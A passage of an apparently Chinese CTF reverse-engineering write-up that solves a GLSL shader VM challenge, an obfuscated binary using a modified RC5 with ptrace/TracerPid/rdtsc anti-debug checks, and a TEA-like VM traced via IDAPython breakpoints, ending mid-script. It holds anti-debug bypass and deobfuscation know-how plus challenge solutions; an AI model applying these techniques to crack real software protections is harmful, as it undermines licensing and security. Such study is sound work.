0x6D, 0x41, 0x51, 0x78, 0x54, 0x54, 0x48, 0x66, 0x26, 0x39, 0x21, 0x03, 0x58, 0x30, 0x76, 0x1A, 0x7A, 0x1D, 0x28, 0x24, 0x63, 0x51, 0x64, 0x40, 0x7E, 0x7A, 0x42, 0x76, 0x46, 0x43, 0x7C, 0x19, 0x48, 0x73, 0x30, 0x76, 0x77, 0x51, 0x27, 0x0B, 0x07, 0x61, 0x65, 0x67, 0x5E, 0x79, 0x78, 0x76, 0x52, 0x1B, 0x51, 0x6F, 0x73, 0x5F, 0x43, 0x33, 0x42, 0x19, 0x7A, 0x64, 0x48, 0x6C, 0x76, 0x4A, 0x6A, 0x6B, 0x76, 0x76, 0x66, 0x2C, 0x4F, 0x3F, 0x6E, 0x73, 0x72, 0x76, 0x50, 0x1F, 0x76, 0x47, 0x50, 0x77, 0x7D, 0x04, 0x44, 0x7C, 0x43, 0x75, 0x4A, 0x63, 0x59, 0x5D, 0x05, 0x7A, 0x5C, 0x1B, 0x1B, 0x1E, 0x00, 0x4C, 0x37, 0x12, 0x33, 0x2A, 0x7A, 0x7E, 0x41, 0x01, 0x4C, 0x78, 0x75, 0x12, 0x54, 0x1D, 0x04, 0x35, 0x78, 0x54, 0x20, 0x3F, 0x05, 0x20, 0x07, 0x74, 0x7B, 0x74, 0x20, 0x55, 0x39, 0x65, 0x4C, 0x76, 0x60, 0x70, 0x62, 0x45, 0x05, 0x7B, 0x42, 0x60, 0x61, 0x4A, 0x78, 0x02, 0x5D, 0x54, 0x5E, 0x12, 0x66, 0x77, 0x73, 0x18, 0x2B, 0x09, 0x60, 0x4D, 0x27, 0x17, 0x74, 0x68, 0x44, 0x08, 0x21, 0x6E, 0x1C, 0x03, 0x30, 0x3F, 0x2B, 0x38, 0x22, 0x19, 0x51, 0x64, 0x2E, 0x4B, 0x58, 0x44, 0x75, 0x44, 0x19, 0x3F, 0x2C, 0x0F, 0x69, 0x5D, 0x68, 0x78, 0x62, 0x68, 0x75, 0x0C, 0x26, 0x20, 0x37, 0x45, 0x76, 0x07, 0x35, 0x18, 0x27, 0x06, 0x72, 0x0C, 0x6A, 0x20, 0x05, 0x3E, 0x02, 0x32, 0x78, 0x13, 0x11, 0x7D, 0x70, 0x21, 0x63, 0x54, 0x2C, 0x08, 0x1E, 0x01, 0x5F, 0x3B, 0x6E, 0x54, 0x75, 0x78, 0x1A, 0x32, 0x02, 0x03, 0x50, 0x24, 0x23, 0x1A, 0x44, 0x52, 0x76, 0x33, 0x1A, 0x75, 0x7E, 0x4C, 0x7E, 0x44, 0x63, 0x57, 0x50, 0x73, 0x76, 0x12, 0x11, 0x67, 0x30, 0x07, 0x5E, 0x39, 0x11, 0x64, 0x26, 0x04, 0x35, 0x24, 0x3C, 0x12, 0x79, 0x6A, 0x58, 0x0F, 0x0B, 0x3F, 0x35, 0x16, 0x49, 0x30, 0x01, 0x0A, 0x65, 0x6E, 0x32, 0x5A, 0x3B, 0x08, 0x58, 0x41, 0x73, 0x01, 0x67, 0x49, 0x78, 0x4E, 0x3A, 0x2D, 0x14, 0x68, 0x08, 0x78, 0x70, 0x77, 0x00, 0x33, 0x13, 0x68, 0x23, 0x5A, 0x7C, 0x50, 0x6E, 0x74, 0x6D, 0x4B, 0x11, 0x41, 0x23, 0x31, 0x5A, 0x18, 0x79, 0x7C, 0x77, 0x54, 0x64, 0x45, 0x09, 0x7A, 0x4D, 0x78, 0x20, 0x2D, 0x2E, 0x3F, 0x35, 0x5A, 0x69, 0x4C, 0x44, 0x54, 0x44, 0x32, 0x3B, 0x38, 0x76, 0x44, 0x7F, 0x79, 0x04, 0x02, 0x44, 0x19, 0x20, 0x50, 0x31, 0x10, 0x32, 0x05, 0x17, 0x70, 0x4A, 0x22, 0x2F, 0x31, 0x24, 0x0B, 0x15, 0x77, 0x78, 0x66, 0x62, 0x7B, 0x67, 0x44, 0x54, 0x40, 0x42, 0x70, 0x60, 0x4A, 0x79, 0x5B, 0x75, 0x1E, 0x75, 0x01, 0x09, 0x79, 0x7F, 0x68, 0x4D, 0x7E, 0x5A, 0x38, 0x71, 0x57, 0x76, 0x4A, 0x32, 0x14, 0x21, 0x68, 0x37, 0x52, 0x48, 0x7B, 0x6A, 0x1B, 0x33, 0x46, 0x01, 0x38, 0x6D, 0x67, 0x3F, 0x57, 0x76, 0x12, 0x6E, 0x15, 0x39, 0x03, 0x37, 0x27, 0x42, 0x20, 0x02, 0x16, 0x24, 0x18, 0x1D, 0x19, 0x2E, 0x3F, 0x71, 0x45, 0x7A, 0x74, 0x17, 0x60, 0x59, 0x5F, 0x76, 0x15, 0x7A, 0x68, 0x16, 0x2F, 0x38, 0x27, 0x2D, 0x5A, 0x34, 0x00, 0x18, 0x36, 0x0C, 0x1F, 0x2F, 0x0C, 0x3C, 0x5A, 0x7B, 0x41, 0x52, 0x66, 0x4A, 0x44, 0x59, 0x4C, 0x6E, 0x78, 0x72, 0x4B, 0x16, 0x35, 0x39, 0x50, 0x2E, 0x4B, 0x3E, 0x37, 0x34, 0x1C, 0x31, 0x4E, 0x73, 0x76, 0x16, 0x2E, 0x05, 0x16, 0x75, 0x1A, 0x44, 0x62, 0x78, 0x63, 0x61, 0x7B, 0x5B, 0x4E, 0x44, 0x73, 0x6D, 0x22, 0x05, 0x3F, 0x7A, 0x2E, 0x43, 0x1E, 0x5C, 0x66, 0x29, 0x1A, 0x0D, 0x6E, 0x18, 0x14, 0x25, 0x66, 0x3B, 0x6C, 0x7C, 0x4A, 0x2C, 0x39, 0x33, 0x27, 0x33, 0x3C, 0x0F, 0x25, 0x1D, 0x73, 0x79, 0x76, 0x03, 0x46, 0x33, 0x08, 0x14, 0x6E, 0x73, 0x1E, 0x44, 0x36, 0x0E, 0x35, 0x08, 0x3F, 0x16, 0x22, 0x1C, 0x15, 0x6D, 0x67, 0x54, 0x57, 0x44, 0x4C, 0x2E, 0x06, 0x2C, 0x6A, 0x2B, 0x77, 0x4A, 0x47, 0x66, 0x2B, 0x3C, 0x5C, 0x5C, 0x1F, 0x14, 0x20, 0x64, 0x0C, 0x75, 0x46, 0x4C, 0x3C, 0x10, 0x31, 0x37, 0x21, 0x33, 0x5E, 0x39, 0x2E, 0x44, 0x6D, 0x72, 0x79, 0x7C, 0x5E, 0x15, 0x7C, 0x42, 0x2B, 0x21, 0x1F, 0x33, 0x56, 0x5D, 0x4F, 0x7B, 0x12, 0x6E, 0x36, 0x3E, 0x1E, 0x22, 0x03, 0x26, 0x18, 0x36, 0x04, 0x74, 0x7F, 0x44, 0x5F, 0x63, 0x04, 0x73, 0x4A, 0x5B, 0x52, 0x48, 0x77, 0x6D, 0x4B, 0x43, 0x2F, 0x35, 0x01, 0x58, 0x08, 0x3A, 0x5D, 0x25, 0x24, 0x67, 0x4A, 0x6F, 0x77, 0x14, 0x3D, 0x21, 0x7B, 0x7D, 0x5A, 0x64, 0x77, 0x7A, 0x11, 0x66, 0x5B, 0x60, 0x40, 0x6E, 0x59, 0x7C, 0x08, 0x63, 0x6E, 0x5C, 0x77, 0x58, 0x77, 0x76, 0x1D, 0x54, 0x31, 0x63, 0x74, 0x53, 0x52, 0x3A, 0x02, 0x42, 0x4A, 0x44, 0x0C, 0x6E, 0x02, 0x30, 0x3B, 0x5F, 0x7F, 0x51, 0x1F, 0x44, 0x7C, 0x76, 0x5C, 0x4A, 0x58, 0x7A, 0x66, 0x5D, 0x7B, 0x63, 0x45, 0x75, 0x60, 0x76, 0x4C, 0x7A, 0x59, 0x20, 0x57, 0x52, 0x74, 0x76, 0x08, 0x5E, 0x34, 0x0A, 0x36, 0x71, 0x41, 0x6F, 0x76, 0x2F, 0x12, 0x3A, 0x64, 0x50, 0x50, 0x4A, 0x66, 0x6A, 0x53, 0x51, 0x68, 0x52, 0x45, 0x77, 0x76, 0x68, 0x07, 0x7F, 0x56, 0x72, 0x4B, 0x73, 0x11, 0x69, 0x0E, 0x31, 0x0D, 0x7D, 0x78, 0x01, 0x29, 0x1C, 0x37, 0x28, 0x63, 0x54, 0x7B, 0x45, 0x30, 0x3F, 0x10, 0x66, 0x43, 0x54, 0x7A, 0x7B, 0x47, 0x11, 0x04, 0x78, 0x77, 0x58, 0x41, 0x69, 0x78, 0x7C, 0x5D, 0x6E, 0x61, 0x33, 0x7A, 0x42, 0x78, 0x72, 0x3A, 0x3F, 0x35, 0x69, 0x41, 0x0F, 0x0D, 0x1D, 0x11, 0x16, 0x77, 0x6E, 0x73, 0x76, 0x03, 0x2B, 0x21, 0x7E, 0x0E, 0x5F, 0x5D, 0x3D, 0x43, 0x64, 0x55, 0x73, 0x08, 0x0B, 0x34, 0x0D, 0x34, 0x78, 0x7A, 0x76, 0x3D, 0x58, 0x7A, 0x65, 0x68, 0x61, 0x79, 0x72, 0x5D, 0x5A, 0x58, 0x4E, 0x67, 0x7A, 0x0E, 0x22, 0x1D, 0x75, 0x1F, 0x75, 0x62, 0x5E, 0x3D, 0x79, 0x2A, 0x05, 0x33, 0x08, 0x53, 0x3F, 0x04, 0x7E, 0x47, 0x73, 0x4F, 0x67, 0x6F, 0x67, 0x5B, 0x4C, 0x3E, 0x63, 0x40, 0x69, 0x38, 0x48, 0x77, 0x76, 0x4D, 0x43, 0x12, 0x35, 0x01, 0x6E, 0x1F, 0x34, 0x15, 0x33, 0x21, 0x50, 0x66, 0x4D, 0x53, 0x38, 0x04, 0x00, 0x5F, 0x2E, 0x29, 0x3D, 0x17, 0x28, 0x74, 0x15, 0x75, 0x01, 0x3A, 0x3A, 0x5A, 0x28, 0x7C, 0x5C, 0x63, 0x04, 0x6E, 0x74, 0x4A, 0x7B, 0x5E, 0x44, 0x7A, 0x55, 0x45, 0x68, 0x44, 0x79, 0x52, 0x32, 0x14, 0x15, 0x76, 0x4E, 0x54, 0x30, 0x29, 0x3A, 0x70, 0x20, 0x0A, 0x14, 0x30, 0x37, 0x5F, 0x29, 0x43, 0x60, 0x72, 0x7F, 0x49, 0x7C, 0x47, 0x67, 0x78, 0x1A, 0x6E, 0x41, 0x48, 0x5F, 0x10, 0x44, 0x73, 0x76, 0x20, 0x3F, 0x12, 0x62, 0x4E, 0x02, 0x3A, 0x23, 0x37, 0x1C, 0x0A, 0x3B, 0x3A, 0x0C, 0x47, 0x41, 0x7B, 0x7A, 0x1E, 0x0A, 0x3E, 0x44, 0x0D, 0x32, 0x31, 0x27, 0x3E, 0x67, 0x46, 0x6A, 0x27, 0x37, 0x2F, 0x23, 0x2B, 0x53, 0x6A, 0x44, 0x00, 0x7A, 0x66, 0x5E, 0x03, 0x7A, 0x4D, 0x5D, 0x77, 0x7D, 0x02, 0x48, 0x77, 0x17, 0x30, 0x12, 0x78, 0x1B, 0x7E, 0x51, 0x4B, 0x5C, 0x67, 0x54, 0x57, 0x44, 0x4C, 0x3C, 0x01, 0x3B, 0x23, 0x11, 0x38, 0x0D, 0x15, 0x34, 0x78, 0x68, 0x12, 0x02, 0x0E, 0x02, 0x62, 0x62, 0x12, 0x3C, 0x02, 0x0D, 0x36, 0x21, 0x3B, 0x2A, 0x3B, 0x24, 0x1C, 0x7A, 0x66, 0x4A, 0x77, 0x7B, 0x73, 0x58, 0x16, 0x3F, 0x00]
s[0] ^= 0x56
xor = b"Vm0xd1NtUXlWa1pPVldoVFlUSlNjVlZyV21GVk1XeDBaRVYwYWxadVFsaFdiWFF3VmxkS1IxTnNXbFpXZWtFeFZsUkdTMk15VGtaYVJtUk9ZbXRLZVZacldtdFNNVnBYVm01R1UySkdXbFJVVnpWUFRURmtjbGRzWkU5U01IQXdWa2QwVjFaWFNrbFJiR2hWVm5wV2NsUlVSbFpsUmxwMFQxZG9UbUV5ZHpCWFYzUmhZekZhYzFacVdtbFNXRkpYV1ZkMGQyUnNVbGhsU0dSVVZqQndSMVpITVc5aFZscFlaSHBLVjJKVVFYaFdSRVp6VmpGS1dWcEdVbWxpVmtwdlZsZDRWazFXU2tkaVJtUllZbTFTV0ZWdGRHRk5WbXQzV2toT2FWSnNjRmRaTUdoM1ZqQXhWMk5JV2xkU1JVVjRWbXBHUjJOV1VuTlNiR1JUVWxWVk1RPT0="
for i in range(1, 1760):
    s[i] ^= xor[i%460]
print("".join(map(chr, s)))

解得GL虚拟机实现代码:

#version 430 core

layout(local_size_x = 1, local_size_y = 1, local_size_z = 1) in;
layout(std430, binding = 0) buffer OpCodes  { int opcodes[]; };
layout(std430, binding = 2) buffer CoConsts { int co_consts[]; };
layout(std430, binding = 3) buffer Cipher   { int cipher[16]; };
layout(std430, binding = 4) buffer Stack    { int stack_data[256]; };
layout(std430, binding = 5) buffer Out      { int verdict;         };

const int MaxInstructionCount = 1000;

void main()
{
    if (gl_GlobalInvocationID.x > 0) return;

    uint ip = 0u;
    int sp = 0;
    verdict = -233;

    while (ip < uint(MaxInstructionCount))
    {
        int opcode = opcodes[int(ip)];
        int arg    = opcodes[int(ip)+1];

        switch (opcode)
        {
            case 2:
                stack_data[sp++] = co_consts[arg];
                break;
            case 7:
            {
                int b = stack_data[--sp];
                int a = stack_data[--sp];
                stack_data[sp++] = a + b;
                break;
            }
            case 8:
            {
                int a = stack_data[--sp];
                int b = stack_data[--sp];
                stack_data[sp++] = a - b;
                break;
            }
            case 14:
            {
                int b = stack_data[--sp];
                int a = stack_data[--sp];
                stack_data[sp++] = a ^ b;
                break;
            }

            case 15:
            {
                int b = stack_data[--sp];
                int a = stack_data[--sp];
                stack_data[sp++] = int(a == b);
                break;
            }

            case 16:
            {
                bool ok = true;
                for (int i = 0; i < 16; i++)
                {
                    if (stack_data[i] != (cipher[i] - 20))
                    { 
                        ok = false; 
                        break; 
                    }
                }
                verdict = ok ? 1 : -1;
                return;
            }

            case 18:
            {
                int c = stack_data[--sp];
                if (c == 0) ip = uint(arg);
                break;
            }

            default:
                verdict = 500;
                return;
        }

        ip+=2;
    }
    verdict = 501;
}
l 
#version 330

#define S(a,b,t) smoothstep(a,b,t)

uniform float time;

out vec4 fragColor;

mat2 Rot(float a) {
    float s = sin(a);
    float c = cos(a);
    return mat2(c, -s, s, c);
}

vec2 hash(vec2 p) {
    p = vec2(dot(p, vec2(2127.1, 81.17)), dot(p, vec2(1269.5, 283.37)));
    return fract(sin(p) * 43758.5453);
}

float noise(vec2 p) {
    vec2 i = floor(p);
    vec2 f = fract(p);
    vec2 u = f * f * (3.0 - 2.0 * f);

    return mix(
        mix(dot(-1.0 + 2.0 * hash(i + vec2(0.0, 0.0)), f - vec2(0.0, 0.0)),
            dot(-1.0 + 2.0 * hash(i + vec2(1.0, 0.0)), f - vec2(1.0, 0.0)), u.x),
        mix(dot(-1.0 + 2.0 * hash(i + vec2(0.0, 1.0)), f - vec2(0.0, 1.0)),
            dot(-1.0 + 2.0 * hash(i + vec2(1.0, 1.0)), f - vec2(1.0, 1.0)), u.x),
        u.y
    ) * 0.5 + 0.5;
}

void main() {
    vec2 uSize = vec2(1280.0, 800.0);
    vec2 uv = gl_FragCoord.xy / uSize;

    float ratio = uSize.x / uSize.y;
    vec2 tuv = uv - 0.5;

    float degree = noise(vec2(time * 0.1, tuv.x * tuv.y));
    tuv.y *= 1.0 / ratio;
    tuv *= Rot(radians((degree - 0.5) * 720.0 + 180.0));
    tuv.y *= ratio;

    float frequency = 3.5;
    float amplitude = 10.0;
    float speed = time * 1.5;

    tuv.x += sin(tuv.y * frequency + speed) / amplitude;
    tuv.y += sin(tuv.x * frequency * 1.5 + speed) / (amplitude * 0.5);

    vec3 color1 = vec3(0.8, 0.4, 0.9);
    vec3 color2 = vec3(0.4, 0.7, 1.0);
    vec3 color3 = vec3(1.0, 0.6, 0.4);
    vec3 color4 = vec3(0.6, 1.0, 0.6);

    vec3 layer1 = mix(color1, color2, S(-0.3, 0.2, (tuv * Rot(radians(-5.0))).x));
    vec3 layer2 = mix(color3, color4, S(-0.3, 0.2, (tuv * Rot(radians(-5.0))).x));
    vec3 finalColor = mix(layer1, layer2, S(0.5, -0.3, tuv.y));

    fragColor = vec4(finalColor, 1.0);
}

分析虚拟机的字节码的作用如下:

2, x → PUSH co_consts[x]

7, 0 → ADD

8, 0 → SUB

14, 0 → XOR

15 ,x→CMP_EQ (y == x)

16 → CHECK(对前16个栈值与 cipher-20 比较)

18,addr→ JMP_IF_ZERO addr

由开头的layout可以对应到源程序里的初始化区域

img

向上继续溯源可以找到真正初始化数据的位置

img

提出来所有的opcodes,如下:

2,0,
2,1,2,0,14,0,2,16,8,0,
2,2,2,1,14,0,2,17,8,0,
2,3,2,2,14,0,2,18,7,0,
2,4,2,3,14,0,2,19,7,0,
2,5,2,4,14,0,2,20,8,0,
2,6,2,5,14,0,2,21,7,0,
2,7,2,6,14,0,2,22,7,0,
2,8,2,7,14,0,2,23,7,0,
2,9,2,8,14,0,2,24,7,0,
2,10,2,9,14,0,2,25,7,0,
2,11,2,10,14,0,2,26,7,0,
2,12,2,11,14,0,2,27,8,0,
2,13,2,12,14,0,2,28,8,0,
2,14,2,13,14,0,2,29,7,0,
2,15,2,14,14,0,2,30,8,0,
16,0,
2,16,2,17,15,0,18,84,
2,31,1,0,3,1

解析一下每一组的操作

2,0, //PUSH co_consts[0]

2,1, // PUSH co_consts[1]

14,0, // XOR

2,16, // PUSH co_consts[16]

8,0 // SUB

最后的比较是和cipher[i]-20进行比较

最后可以写出exp如下:

CIPHER = [0xF3, 0x82, 0x06, 0x1FD, 0x150, 0x38, 0xB2, 0xDE, 0x15A, 0x197, 0x9C, 0x1D7, 0x6E, 0x28, 0x146,
          0x97]
CONSTS = [0xB0, 0xC8, 0xFA, 0x86, 0x6E, 0x8F, 0xAF, 0xBF, 0xC9, 0x64, 0xD7, 0xC3, 0xE3, 0xEF, 0x87, 0x00]
op_pattern = [1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1]

targets = [c - 20 for c in CIPHER]
inputs = [0] * 16

inputs[0] = targets[0]

for i in range(1, 16):
    prev_input = inputs[i - 1]
    target = targets[i]
    const = CONSTS[i - 1]
    op_type = op_pattern[i - 1]

    if op_type == 0:  # ADD
        intermediate = (target - const)&0xff
    elif op_type == 1:  # SUB
        intermediate = (const - target)&0xff

    inputs[i] = intermediate ^ prev_input

print(bytes(inputs).hex())

obfuscate

ida反编译错误,main有爆红,不用管直接分析其他函数,分别找到如下函数

首先是3处反调试

  1. ptrace
__int64 sub_7E20()
{
  __int64 result; // rax

  result = ptrace(PTRACE_TRACEME, 0LL, 0LL);
  if ( result == -1 )
    _exit(1);
  return result;
}
  1. 读取文件Tracerid值(动调跟进解密后的字符串可以看到Tracerid)
__int64 __fastcall sub_7EC0(char *a1)
{
  char s[140]; // [rsp+10h] [rbp-D0h] BYREF
  unsigned int v3; // [rsp+9Ch] [rbp-44h] BYREF
  FILE *stream; // [rsp+A0h] [rbp-40h]
  char *needle; // [rsp+A8h] [rbp-38h]
  int v7; // [rsp+B4h] [rbp-2Ch] BYREF
  char filename[18]; // [rsp+BAh] [rbp-26h] BYREF
  int v9; // [rsp+CCh] [rbp-14h] BYREF
  char modes[2]; // [rsp+D2h] [rbp-Eh] BYREF
  int v11; // [rsp+D4h] [rbp-Ch] BYREF
  int v12; // [rsp+DAh] [rbp-6h] BYREF
  __int16 v13; // [rsp+DEh] [rbp-2h]

  v12 = 1053795514;
  v13 = -10245;
  v11 = 468703135;
  xor_dec(&v12, &v11, 6LL, 4LL);
  *modes = 29201;
  v9 = 233665123;
  xor_dec(modes, &v9, 2LL, 4LL);
  qmemcpy(filename, "uU \\9\n!V6C}@.D&F)%", sizeof(filename));
  v7 = 861021530;
  xor_dec(filename, &v7, 18LL, 4LL);
  needle = a1;
  stream = fopen(filename, modes);
  if ( stream )
  {
    v3 = -1;
    while ( fgets(s, 128, stream) && (!__isoc99_sscanf(s, &v12, s, &v3) || !strstr(s, needle)) )
      ;
    fclose(stream);
    return v3;
  }
  else
  {
    return -1;
  }
}
  1. getpid
unsigned __int64 sub_8030()
{
  unsigned __int64 v0; // rax
  unsigned __int64 v1; // rax
  unsigned __int64 result; // rax
  __int64 v3; // [rsp+8h] [rbp-8h]

  v0 = __rdtsc();
  v3 = v0;
  getpid();
  v1 = __rdtsc();
  result = v1 - v3;
  if ( result > 0x186A0 )
    _exit(1);
  return result;
}

一个个force jmp或者nop后patch即可动调

比较函数

int __fastcall sub_6180(__int64 a1)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

  *(_QWORD *)format = 0x61C477DB26D672BDLL;
  v11 = 0x41BD3F9C2FD86CACLL;
  v9 = 1102520059;
  xor_dec(format, &v9, 16LL, 4LL);
  memcpy(dest, &unk_9031, sizeof(dest));
  v7 = 1350490027;
  xor_dec(dest, &v7, 38LL, 4LL);
  memcpy(src, &cmp, 0x21uLL);
  v5 = 1189641421;
  xor_dec(src, &v5, 33LL, 4LL);
  v4 = a1;
  memcpy(v3, src, 0x21uLL);
  for ( i = 0; i < 32; ++i )
  {
    if ( *(unsigned __int8 *)(v4 + i) != (unsigned __int8)v3[i] )
    {
      printf(format);
      exit(1);
    }
  }
  return printf(dest);
}

以及两个混淆比较厉害的加密函数(分析可知是rc5加密),可以借助ida9自带的goomba插件解除部分混淆,右键

De-obfuscate即可,但是得到的函数依然存在很多逻辑混淆

比如恒真恒假跳转

if ( unk_B1C8 < 10 && unk_B1C8 >= 10 )    // 恒假
    goto LABEL_26;
if ( unk_B218 >= 10 || unk_B218 < 10 )    // 恒真
      break;

减1

*v37 - 1067854539 + 1067854538    // 等价于*v37 - 1

异或

*v24 & 0xAE4094B7 | ~*v24 & 0x51BF6B48    // 等价于*v24^0x51BF6B48

偶数次异或相同值不变

(*v24 & 0xAE4094B7 | ~*v24 & 0x51BF6B48) ^ (*v23 & 0xAE4094B7 | ~*v23 & 0x51BF6B48)    // 等价于*v24^*v23

v9 ^ v8 | v9 & v8    // 等价于v9|v8

最后可以得到两份干净简洁的伪代码交给gemini分析下

__int64 __fastcall sub_555555555250(__int64 a1, __int64 a2)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

  v41 = a1;
  v42 = a2;
        v2 = HIDWORD(v42);
        v32 = &v27 - 2;
        v33 = &v27 - 2;
        v34 = &v27 - 2;
        v35 = &v27 - 2;
        v36 = &v27 - 2;
        v37 = &v27 - 2;
        v38 = &v27 - 2;
        v39 = &v27 - 2;
        v40 = &v27 - 2;
        *(&v27 - 2) = v41;
        HIDWORD(v27) = v2;
        LODWORD(v27) = 0;
LABEL_3:
  v31 = *v37 < 4u;
  if ( v31 )
  {
    v3 = v38;
    *(v34 + *v37) = 0;
    *v3 = 0;
    while ( 1 )
    {
      if ( *v38 >= 4u )
      {
        ++*v37;
        goto LABEL_3;
      }
      *(v34 + *v37) = *(*v33 + (*v38 + 4 * *v37)) + (*(v34 + *v37) << 8);
      ++*v38;
    }
  }
  v4 = v37;
  **v32 = 0xB7E15163;
  *v4 = 1;
  while ( 1 )
  {
    if ( *v37 >= 0x1Au )
      break;
    *(*v32 + 4LL * *v37) = *(*v32 + 4LL * (*v37 - 1)) - 0x61C88647;
    ++*v37;
  }
  v7 = v35;
  v8 = v36;
  v9 = v37;
  *v38 = 0;
  *v9 = 0;
  *v8 = 0;
  *v7 = 0;
  *v39 = 0;
  while ( 2 )
  {
    if ( *v39 < 78 )
    {
      v10 = v38;
      v11 = v36;
      v12 = v34;
      v13 = v35;
      v15 = ((*v35 + *(*v32 + 4LL * *v37) + *v36) >> 29) | ((*v35 + *(*v32 + 4LL * *v37) + *v36) << 3);
      *(*v32 + 4LL * *v37) = v15;
      *v13 = v15;
      v18 = v37;
      v19 = ((*v11 + *v35 + *(v12 + *v10)) >> ((*v11 + *v35) + 32)) | ((*v13 + *(v12 + *v10) + *v11) << (*v13 + *v11));
      *(v12 + *v10) = v19;
      *v11 = v19;
      v20 = v38;
      *v18 = (*v18 + 1) % 0x1A;
      *v20 = (*v20 + 1) & 3;
      ++*v39;
    }
    break;
  }
  result = 1;
  return result;
}
int *__fastcall sub_555555555E80(_DWORD *a1, __int64 a2, _DWORD *a3)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

  v26 = a1;
  v27 = a2;
  v28 = a3;
    v3 = v28;
    v22 = &v21 - 2;
    v23 = (&v21 - 2);
    v24 = &v21 - 2;
    v25 = &v21 - 2;
    *(&v21 - 2) = v26;
    v21 = v3;
    LODWORD(v21) = **(&v21 - 2) + *v3;
    *(&v21 - 4) = (*(&v21 - 2))[1] + v21[1];
    *(&v21 - 4) = 1;
  while ( *v25 <= 0xCu )
  {
      *v23 = *(*v21 + 4LL * (2 * *v25)) + (((*v24 ^ *v23) << *v24) | ((*v24 ^ *v23) >> (32 - *v24)));
      *v24 = (((*v23 ^ *v24) >> (32 - *v23)) | ((*v23 ^ *v24) << *v23)) + *(*v21 + 4LL * (2 * *v25 + 1));
      *v23 = *v24 ^ *v23;
    ++*v25;
  }
  v11 = v22;
  v12 = v24;
  **v22 = *v23;
  result = *v11;
  result[1] = *v12;
  return result;
}

分析可知是RC5的密钥扩展和加密函数,其中加密函数地方做了魔改,对在轮加密种A多异或了B,解密脚本如下

还有个很坑的点卡了很久,密钥是cleWtemoH3Lo!FTC,而不是 WelcometoL3HCTF! ,正好是后者小端存储形式的字符串(需要动调去密钥扩展里看从内存里读取的到底是什么值)

import struct


class RC5:
    def __init__(self, key: bytes):
        self.w = 32  # 字长(比特)
        self.r = 12  # 轮数
        self.b = len(key)  # 密钥长度
        self.t = 2 * (self.r + 1)  # 密钥表大小
        self.mod = 1 << self.w  # 模数
        self.S = self._expand_key(key)

    def _expand_key(self, key: bytes) -> list:
        # 初始化常量
        P, Q = 0xB7E15163, 0x61C88647

        # 初始化密钥表
        S = [P]
        for i in range(1, self.t):
            S.append((S[i - 1] - Q) % self.mod)

        # 将密钥转换为字列表
        c = max(len(key) // 4, 1)
        L = [0] * c
        for i in range(len(key)):
            idx = i // 4
            shift = 8 * (i % 4)
            L[idx] = (L[idx] + (key[i] << shift)) % self.mod

        # 混合密钥
        i = j = 0
        A = B = 0
        for _ in range(3 * max(self.t, c)):
            A = S[i] = self.rotl((S[i] + A + B) % self.mod, 3)
            B = L[j] = self.rotl((L[j] + A + B) % self.mod, (A + B) % self.w)
            i = (i + 1) % self.t
            j = (j + 1) % c

        return S

    def rotl(self, x: int, n: int) -> int:
        n %= self.w
        return ((x << n) | (x >> (self.w - n))) % self.mod

    def rotr(self, x: int, n: int) -> int:
        n %= self.w
        return ((x >> n) | (x << (self.w - n))) % self.mod

    def decrypt_block(self, data: bytes) -> bytes:
        # 解析输入块
        A = struct.unpack('<I', data[:4])[0]
        B = struct.unpack('<I', data[4:8])[0]

        # 解密过程
        for i in range(self.r, 0, -1):
            A = A ^ B
            B = self.rotr((B - self.S[2 * i + 1]) % self.mod, A) ^ A
            A = self.rotr((A - self.S[2 * i]) % self.mod, B) ^ B

        B = (B - self.S[1]) % self.mod
        A = (A - self.S[0]) % self.mod

        # 打包输出
        return struct.pack('<II', A, B)

    def encrypt_block(self, data: bytes) -> bytes:
        """加密一个64位数据块"""
        A = struct.unpack('<I', data[:4])[0]
        B = struct.unpack('<I', data[4:8])[0]

        # 初始白化
        A = (A + self.S[0]) % self.mod
        B = (B + self.S[1]) % self.mod

        # 轮函数
        for i in range(1, self.r + 1):
            A = (self.rotl((A ^ B), B) + self.S[2 * i]) % self.mod
            B = (self.rotl((B ^ A), A) + self.S[2 * i + 1]) % self.mod
            A ^= B

        return struct.pack('<II', A, B)

    def encrypt(self, plaintext: bytes) -> bytes:
        """加密任意长度数据"""
        # 分块加密
        blocks = [plaintext[i:i+8] for i in range(0, len(plaintext), 8)]
        ciphertext = b''
        for block in blocks:
            ciphertext += self.encrypt_block(block)
        return ciphertext

    def decrypt(self, ciphertext: bytes) -> bytes:
        # 处理填充(示例使用PKCS#7)
        blocks = [ciphertext[i:i + 8] for i in range(0, len(ciphertext), 8)]
        plaintext = b''
        for block in blocks:
            plaintext += self.decrypt_block(block)
        return plaintext


if __name__ == "__main__":
    key = b"cleWtemoH3Lo!FTC"
    rc5 = RC5(key)
    plainttext = b"flag{11111222222333333333333334}"
    ciphertext = rc5.encrypt(plainttext)
    print(ciphertext.hex())
    ciphertext = bytes([0x1B, 0xBB, 0xA1, 0xF2, 0xE9, 0x7C, 0x87, 0x21, 0x8A, 0x37, 0xFD, 0x0A, 0x94, 0x1A, 0x81, 0xBC, 0x40, 0x1E, 0xE3, 0xAA, 0x73, 0x2E, 0xD8, 0x3F, 0x84, 0xB8, 0x71, 0x42, 0xCC, 0x35, 0x8B, 0x39])

    plaintext = rc5.decrypt(ciphertext)
    print(f"Decrypted: {plaintext}")

easyvm

调试可以发现是类tea加密,8字节一组变化

最开始做复杂了一点点去分析VM里每个指令的作用并试图模拟,最后才想到直接ida下条件断点在重要运算指令上即可,把两个操作数打印下就知道每一步计算都做了什么

找到vm计算指令的位置(tea中主要为add、sub、xor、shl、shr),简单写下idapython脚本,以此来模拟trace获得加密log

img

import idc, idaapi
op1_val = idc.get_reg_value("EDX")
op2_val = idc.get_reg_value("ECX") & 0xFF
result_val = idc.get_reg_value("EDX")
print(f"shl {hex(op1_val)}, {hex(op2_val)} = {hex((op1_val<<op2_val)&0xffffffff)}")

import idc, idaapi
op1_val = idc.get_reg_value("EDX")
op2_val = idc.get_reg_value("ECX") & 0xFF
print(f"shr {hex(op1_val)}, {hex(op2_val)} = {hex((op1_val>>op2_val)&0xffffffff)}")

import idc, idaapi
op1_val = idc.get_reg_value("EAX")
rbp_val = idc.get_reg_value("RBP")
mem_addr = rbp_val + 0x4C
op2_val = idc.get_wide_dword(mem_addr)
